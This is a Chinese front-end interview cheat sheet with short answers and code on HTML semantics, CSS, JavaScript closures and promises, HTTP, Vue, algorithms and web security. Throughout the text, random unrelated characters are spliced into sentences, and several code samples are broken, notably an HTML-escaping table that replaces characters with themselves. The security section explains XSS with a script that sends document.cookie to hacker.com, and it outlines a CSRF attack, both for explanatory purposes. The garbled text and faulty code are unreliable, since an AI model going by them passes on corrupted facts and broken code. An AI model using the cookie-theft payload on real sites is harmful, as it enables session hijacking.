HTML 押題
1. （必考） 你是如何理解 HTML 語義化的婿着？
第一種舉例沿侈，段落用 p衣形，邊欄用 aside翎苫，主要內(nèi)容用main標簽 第二種
最開始是 PHP 后端寫 HTML嘉抒，不會 CSS零聚，于是就用 table 來布局。table 使用展示表格的些侍。嚴重違反了 HTML 語義化握牧。
后來有了專門的寫 CSS 的前端，他們會使用 DIV + CSS 布局娩梨，主要是用 float 和絕對定位布局沿腰。稍微符合了 HTML 語義化。
再后來狈定，前端專業(yè)化颂龙，知道 HTML 的各個標簽的用法习蓬，于是會使用恰當?shù)臉撕瀬碚故緝?nèi)容，而不是傻傻的全用 div措嵌，會盡量使用 h1躲叼、ul、p企巢、main枫慷、header 等標簽
語義化的好處是已讀、有利于SEO等浪规。
第三種：對面試官說請看我的博客 https://zhuanlan.zhihu.com/p/32570423
2. meta viewport 是做什么用的或听，怎么寫？
死背：
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
控制頁面在移動端不要縮小顯示笋婿， 侃侃而談誉裆。
一開始，所有頁面都是給PC準備的缸濒，喬布斯推出 iPhone 3GS足丢，頁面是不適應手機屏幕的，所以喬布斯的工程師想了一個辦法庇配，默認把手機模擬成 980px斩跌，頁面縮小。
后來捞慌，智能手機普及耀鸦，這個功能在部分網(wǎng)站不需要了，所以我們就用 meta:vp 讓手機不要縮小我的網(wǎng)頁卿闹。
3. canvas 元素是干什么的揭糕？
項目丟給他。 看 MDN 的 canvas 入門手冊锻霎。
CSS 押題
1. （必考） 說說盒模型著角。
舉例：
content-box: width == 內(nèi)容區(qū)寬度
border-box: width == border 寬度 + 內(nèi)容區(qū)寬度 + padding 寬度，高度以此類推旋恼。
2. css reset 和 normalize.css 有什么區(qū)別吏口？
考英文：
reset 重置，之前的樣式我不要冰更，a{color: red;}产徊，拋棄默認樣式。
normalize 讓所有瀏覽器的標簽都跟標準規(guī)定的默認樣式一致蜀细，各瀏覽器上的標簽默認樣式基本統(tǒng)一舟铜。
3. （必考）如何居中？
平時總結(jié)：
水平居中：
內(nèi)聯(lián)：爸爸身上寫 text-align:center;
塊級：margin-left: auto; margin-right: auto;
垂直居中： https://jscode.me/t/topic/1936
4. 選擇器優(yōu)先級如何確定奠衔？
選擇器越具體谆刨，優(yōu)先級越高塘娶。 #xxx 大于 .yyy
同樣優(yōu)先級，寫在后面的覆蓋前面的痊夭。
color: red !important; 優(yōu)先級最高刁岸。
5. BFC 是什么？
舉例：
overflow:hidden 清除浮動她我。（方方總是用.clearfix清除浮動虹曙，堅決不用 overflow:hidden 清除浮動）
overflow:hidden 取消父子margin合并。http://jsbin.com/conulod/1/edit?html,css,js,output （方方用 padding-top: 1px;）
6. 如何清除浮動番舆？
overflow: hidden（方方反對）
.clearfix 清除浮動寫在爸爸身上
.clearfix::after{
content: '';
display: block;
clear: both;
}
.clearfix{
zoom: 1; /* IE 兼容 */
}
JS 押題
1. JS 有哪些數(shù)據(jù)類型酝碳？
string
umber
bool
undefined
null
object
symbol
object 包括了數(shù)組、函數(shù)合蔽、正則击敌、日期等對象 一旦出現(xiàn)（數(shù)組介返、函數(shù)拴事、正則、日期圣蝎、NaN）直接0分
2. （必考） Promise 怎么使用刃宵？
then
$.ajax(...).then(成功函數(shù), 失敗函數(shù))
鏈式 then
$.ajax(...).then(成功函數(shù), 失敗函數(shù)).then(成功函數(shù)2, 失敗函數(shù)2)
3. 如何自己生成 Promise 對象
function xxx(){
return new Promise(function(resolve, reject){
setTimeout(()=>{
resolve() 或者 reject()
},3000)
})
}
xxx().then(...)
4. （必考） AJAX 手寫一下？
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function(){
if(xhr.readyState === 4&&xhr.status===200){
console.log(xhr.responseText)
}
}
xhr.open('POST', '/xxxx')
xhr.send('a=1&b=2')
readyState存儲著xhr的5種狀態(tài)徘公，分別是：
0: 請求未初始化
1: 服務器連接已建立
2: 請求已接收
3: 請求處理中
4: 請求已完成牲证，且響應已就緒
5. （必考）閉包是什么？
function sum(){
var n = 0
return function num(){
n += 1
console.log(n)
}
}
let adder = sum()
adder() // n === 1
adder() // n === 2
sum()
sum()
正確參考：https://zhuanlan.zhihu.com/p/22486908
6. （必考）這段代碼里的 this 是什么关面？
fn() 里面的 this 就是 window
fn() 是 strict mode坦袍，this 就是 undefined
a.b.c.fn() 里面的 this 就是 a.b.c
new F() 里面的 this 就是新生成的實例
() => console.log(this) 里面 this 跟外面的 this 的值一模一樣 正確參考：https://zhuanlan.zhihu.com/p/23804247
7. （必考）什么是立即執(zhí)行函數(shù)？使用立即執(zhí)行函數(shù)的目的是什么等太？
(function (){
var name
}())
(function (){
var name
})()
!!!!!!!function (){
var name
}()
~function (){
var name
}()
造出一個函數(shù)作用域捂齐，防止污染全局變量
ES 6 新語法
{
let name
}
8. async/await 語法了解嗎？目的是什么缩抡？
function returnPromise(){
return new Promise( function(resolve, reject){
setTimeout(()=>{
resolve('fuck')
},3000)
})
}
returnPromise().then((result)=>{
result === 'fuck'
})
var result = await returnPromise()
// 注意只有控制臺支持頂級作用域的 await奠宜，JS 文件里的 await 只能寫在 async 函數(shù)里
result === 'fuck'
把異步代碼寫成同步代碼。
9. 如何實現(xiàn)深拷貝瞻想？
JSON 來深拷貝
var a = {...}
var b = JSON.parse( JSON.stringify(a) )
缺點：JSON 不支持函數(shù)压真、引用、undefined蘑险、RegExp滴肿、Date……
遞歸拷貝
function clone(object){
var object2
if(! (object instanceof Object) ){
return object
}else if(object instanceof Array){
object2 = []
}else if(object instanceof Function){
object2 = eval(object.toString())
}else if(object instanceof Object){
object2 = {}
}
你也可以把 Array Function Object 都當做 Object 來看待，參考 https://juejin.im/post/587dab348d6d810058d87a0a
for(let key in object){
object2[key] = clone(object[key])
}
return object2
}
環(huán)
RegExp佃迄、Date泼差、Set竿音、Symbol、WeakMap
10. 如何實現(xiàn)數(shù)組去重拴驮？
計數(shù)排序的邏輯（只能正整數(shù)）
var a = [4,2,5,6,3,4,5]
var hashTab = {}
for(let i=0; i<a.length;i++){
if(a[i] in hashTab){
// 什么也不做
}else{
hashTab[ a[i] ] = true
}
}
//hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}
console.log(Object.keys(hashTab))// ['4','2','5','6','3']
Set 去重
Array.from(new Set(a))
WeakMap 任意類型去重
如何用正則實現(xiàn) string.trim() 春瞬？
function trim(string){
return string.replace(/^\s+|\s+$/g, '')
}
11. JS 原型是什么？
舉例
var a = [1,2,3]
只有0套啤、1宽气、2、length 4 個key
為什么可以 a.push(4) 潜沦，push 是哪來的萄涯？
a.__proto__ === Array.prototype
push 就是沿著 a.proto 找到的，也就是Array.prototype.push
Array.prototype還有很多方法唆鸡，如 join涝影、pop、slice争占、splice
Array.prototype就是 a 的原型（proto） 參考：https://zhuanlan.zhihu.com/p/23090041
ES 6 中的 class 了解嗎燃逻？
把 MDN class 章節(jié)看完
記住一個例子
12. JS 如何實現(xiàn)繼承？
原型鏈
function Animal(){
this.body = '肉體'
}
Animal.prototype.move = function(){
}
function Human(name){
Animal.apply(this, arguments)
his.name = name
}
// Human.prototype.__proto__ = Animal.prototype //非法
var f = function(){}
f.prototype = Animal.prototype
Human.prototype = new f()
Human.prototype.useTools = function(){}
var frank = new Human()
extends關(guān)鍵字
class Animal{
constructor(){
this.body = '肉體'
},
move(){}
}
class Human extends Animal{
constructor(name){
super()
this.name = name
},
useTools(){}
}
var frank = new Human()
== 相關(guān)題目直接反著答（放棄）
DOM 押題
DOM 事件模型是什么臂痕？
冒泡
捕獲
如果這個元素是被點擊的元素伯襟，那么捕獲不一定在冒泡之前，順序是由監(jiān)聽順序決定的握童。
移動端的觸摸事件了解嗎姆怪？
touchstart touchmove touchend touchcancel
模擬 swipe 事件：記錄兩次 touchmove 的位置差，如果后一次在前一次的右邊澡绩，說明向右滑了稽揭。
事件委托是什么？有什么好處肥卡？
假設父元素有4個兒子溪掀，我不監(jiān)聽4個兒子，而是監(jiān)聽父元素召调，看觸發(fā)事件的元素是哪個兒子膨桥，這就是事件委托。
可以監(jiān)聽還沒有出生的兒子（動態(tài)生成的元素）唠叛。省監(jiān)聽器只嚣。
function listen(element, eventType, selector, fn){
element.addEventListener(eventType, e=>{
if(e.target.matches(selector)){
fn.call(el, e, el)
}
})
}// 有 bug 但是可以應付面試官的事件委托
function listen(element, eventType, selector, fn) {
element.addEventListener(eventType, e => {
let el = e.target
while (!el.matches(selector)) {
if (element === el) {
el = null
break
}
el = el.parentNode
}
el && fn.call(el, e, el)
})
return element
} // 工資 12k+ 的前端寫的事件委托
listen(ul, 'click', 'li', ()=>{})
ul>li*5>span
HTTP 押題
HTTP 狀態(tài)碼知道哪些？
301 和 302 的區(qū)別是什么艺沼？
301 永久重定向册舞，瀏覽器會記住
302 臨時重定向
HTTP 緩存怎么做？
Cache-Control: max-age=300
Cache-Control 和 Etag 的區(qū)別是什么障般？
Cookie 是什么调鲸？Session 是什么盛杰？
Cookie
HTTP響應通過 Set-Cookie 設置 Cookie
瀏覽器訪問指定域名是必須帶上 Cookie 作為 Request Header
Cookie 一般用來記錄用戶信息
Session
Session 是服務器端的內(nèi)存（數(shù)據(jù)）
Session 一般通過在 Cookie 里記錄 SessionID 實現(xiàn)
SessionID 一般是隨機數(shù)
LocalStorage 和 Cookie 的區(qū)別是什么？
Cookie 會隨請求被發(fā)到服務器上藐石，而 LocalStorage 不會
Cookie 大小一般4k以下即供，LocalStorage 一般5Mb 左右
（必考）GET 和 POST 的區(qū)別是什么？
參數(shù)于微。GET 的參數(shù)放在 url 的查詢參數(shù)里逗嫡，POST 的參數(shù)（數(shù)據(jù)）放在請求消息體里。
安全（扯淡）株依。GET 沒有 POST 安全（都不安全）
GET 的參數(shù)（url查詢參數(shù)）有長度限制驱证，一般是 1024 個字符。POST 的參數(shù)（數(shù)據(jù)）沒有長度限制（扯淡恋腕，4~10Mb 限制）
包抹锄。GET 請求只需要發(fā)一個包，POST 請求需要發(fā)兩個以上包（因為 POST 有消息體）（扯淡荠藤，GET 也可以用消息體）
GET 用來讀數(shù)據(jù)伙单，POST 用來寫數(shù)據(jù)，POST 不冪等（冪等的意思就是不管發(fā)多少次請求商源，結(jié)果都一樣车份。）
（必考）怎么跨域谋减？JSONP 是什么牡彻？CORS 是什么？postMessage 是什么出爹？
JSONP
CORS
postMessage 看一下 MDN
Vue 押題
（必考）Vue 有哪些生命周期鉤子函數(shù)庄吼？
（必考）Vue 如何實現(xiàn)組件通信？
父子通信（使用 Prop 傳遞數(shù)據(jù)严就、使用 v-on 綁定自定義事件）
爺孫通信（通過兩對父子通信总寻，爺爸之間父子通信，爸兒之間父子通信）
Vuex 的作用是什么梢为？
看文檔渐行、博客 https://vuex.vuejs.org/zh-cn/intro.html
VueRouter 路由是什么？
看文檔铸董、博客
Vue 的雙向綁定是如何實現(xiàn)的祟印？有什么缺點？
看文檔粟害，深入響應式原理
Computed 計算屬性的用法蕴忆？跟 Methods 的區(qū)別。https://zhuanlan.zhihu.com/p/33778594
算法押題
排序算法（背誦冒泡排序悲幅、選擇排序套鹅、計數(shù)排序站蝠、快速排序、插入排序卓鹿、歸并排序）
二分查找法
翻轉(zhuǎn)二叉樹
把上面三個背一下菱魔，算法題必過。
安全押題
什么是 XSS 攻擊吟孙？如何預防豌习？
舉例
div.innerHTML = userComment // userComment 內(nèi)容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
// 惡意就被執(zhí)行了，這就是 XSS
預防
不要使用 innerHTML拔疚，改成 innerText肥隆，script 就會被當成文本，不執(zhí)行
如果你一樣要用 innerHTML稚失，字符過濾
把 < 替換成 <
把 > 替換成 >
把 & 替換成 &
把 ' 替換成 '
把 ' 替換成 "
代碼 div.innerHTML = userComment.replace(/>/g, '<').replace...
使用 CSP Content Security Policy
什么是 CSRF 攻擊栋艳？如何預防？
過程
用戶在 qq.com 登錄
用戶切換到 hacker.com（惡意網(wǎng)站）
hacker.com 發(fā)送一個 qq.com/add_friend 請求句各，讓當前用戶添加 hacker 為好友吸占。
用戶在不知不覺中添加 hacker 為好友。
用戶沒有想發(fā)這個請求凿宾，但是 hacker 偽造了用戶發(fā)請求的假象矾屯。
避免
檢查 referer，qq.com 可以拒絕來自 hacker.com 的請求
csrf_token 來解決
Webpack 題
轉(zhuǎn)譯出的文件過大怎么辦初厚？
使用 code split
寫法 import('xxx').then(xxx=>{console.log(xxx)})
xxx 模塊就是按需加載的
轉(zhuǎn)譯速度慢什么辦件蚕？
寫過 webpack loader 嗎？
http://www.alloyteam.com/2016/01/webpack-loader-1/
發(fā)散題
從輸入 URL 到頁面展現(xiàn)中間發(fā)生了什么产禾？
DNS 查詢 DNS 緩存
建立 TCP 連接（三次握手）連接復用
發(fā)送 HTTP 請求（請求的四部分）
后臺處理請求
監(jiān)聽 80 端口
路由
渲染 HTML 模板
生成響應
發(fā)送 HTTP 響應
關(guān)閉 TCP 連接（四次揮手）
解析 HTML
下載 CSS（緩存
解析 CSS
下載 JS（緩存
解析 JS
下載圖片
解析圖片
渲染 DOM 樹
渲染樣式樹
執(zhí)行 JS
你沒有工作經(jīng)歷嗎排作？
一開始就問，可以拜拜亚情。
中間問最后問妄痪，他想壓價。
解法：用項目打動它：你看下我的作品楞件，跟一年經(jīng)驗的前端差距大嗎衫生？你們團隊一年工作經(jīng)驗的前端，寫的出來我這樣的作品嗎土浸？憑我的作品罪针，我覺得我可以勝任貴司的工作。
你遇到過最難的問題是什么栅迄？ https://www.zhihu.com/question/35323603/answer/338796153
你的期望薪資是多少站故？****你想要的工資 加 1000~2000。
（任何你不會的問題）
承認不會
詢問詳細細節(jié)：你問的是不是XXX方面的知識？請問你想問的是哪方面知識西篓？
根據(jù)面試官的回答愈腾，向有利于自己的方向引導話題。
刁鉆代碼題
map加parseInt
## **[1,2,3].map(parseInt)**
parseInt(1,0, array) // 1
parseInt(2,1, array) // NaN
parseInt(3,2, array) // NaN
a.x = a = {}
var a = {n:1};
var b = a;
a.x = a = {n:2};
問 a.x 是多少岂津？
(a ==1 && a== 2 && a==3)可能為 true 嗎虱黄？
a = {
value: 0,
toString(){
a.value += 1
return a.value
}
}
